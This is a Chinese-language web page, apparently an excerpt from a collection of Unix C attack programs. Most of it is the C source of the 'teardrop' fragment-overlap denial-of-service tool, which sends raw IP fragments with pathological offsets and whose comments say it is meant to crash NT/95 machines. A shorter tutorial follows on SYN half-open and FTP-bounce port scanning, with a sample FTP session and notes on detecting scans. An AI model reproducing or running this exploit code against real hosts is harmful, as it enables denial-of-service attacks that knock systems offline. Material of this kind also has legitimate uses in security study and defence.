📄 unix c源码常用攻击程序.txt
字号:
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
fprintf(stderr, "teardrop route|daemon9\n\n");
//建SOCK_RAW
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
//由系统处理IP校验和。
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one,
sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip =
name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is
that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be
emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an
implementation
* independent way of assembling network packets that does not rely
on any of
* the diverse O/S specific nomenclature hinderances (well, linux
vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short
src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol
structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the
beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header
length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total
length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset
*/
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by
kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port
*/
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination
port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length
*/
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct
sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous
packet's
* payload (it overlaps inside the previous packet) but do not
include
* enough payload to cover complete the datagram. Just the
header will
* do, but to crash NT/95 machines, a bit larger of packet
seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into
the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the
header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr
*)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr,
host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n
how_many ]\n",
name);
exit(0);
}
4 Portscan 和 Antiportscan
Portscan的两种主要方法：
(1) Half-open（半打开）
利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。
(2) FTP scanner
利用了FTP的port命令，例如可以这样作：
选择一个FTP服务器，连上后令port命令指向目标机，如果返回
值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则
该端口无服务。
telnet 192.168.1.13 21
Trying 192.168.1.13...
Connected to pp.bricks.org.
Escape character is '^]'.
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
Thu May 7 23:18:05 EDT 1998) ready.
user anonymous
331 Guest login ok, send your complete e-mail address as password.
pass aa@aa.aa
230 Guest login ok, access restrictions apply.
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口
150 Opening ASCII mode data connection for file list.
425 Can't build data connection: Connection refused.
//该端口未活动
150 Opening ASCII mode data connection for file list.
226 Transfer complete.
//该端口活动中
但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。
上述两种方法是通用的，而针对个别系统有一些特殊方法。
如一些系统受到包后会作如下处理：
标志 活动的端口的应答 不活动端口的应答
SYN SYN|ACK RST 或 Nothing
SYN|FIN ACK or SYN|ACK* RST
ACK Nothing RST
0 flag Nothing RST
你最好是试一试。
Antiport
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认
定它在向你做portscan。
notes：
早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的
都是向它scan。
(http://www.fanqiang.com) 进入【】
相关文章
★ 来自樊强 欢迎分享 ★
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -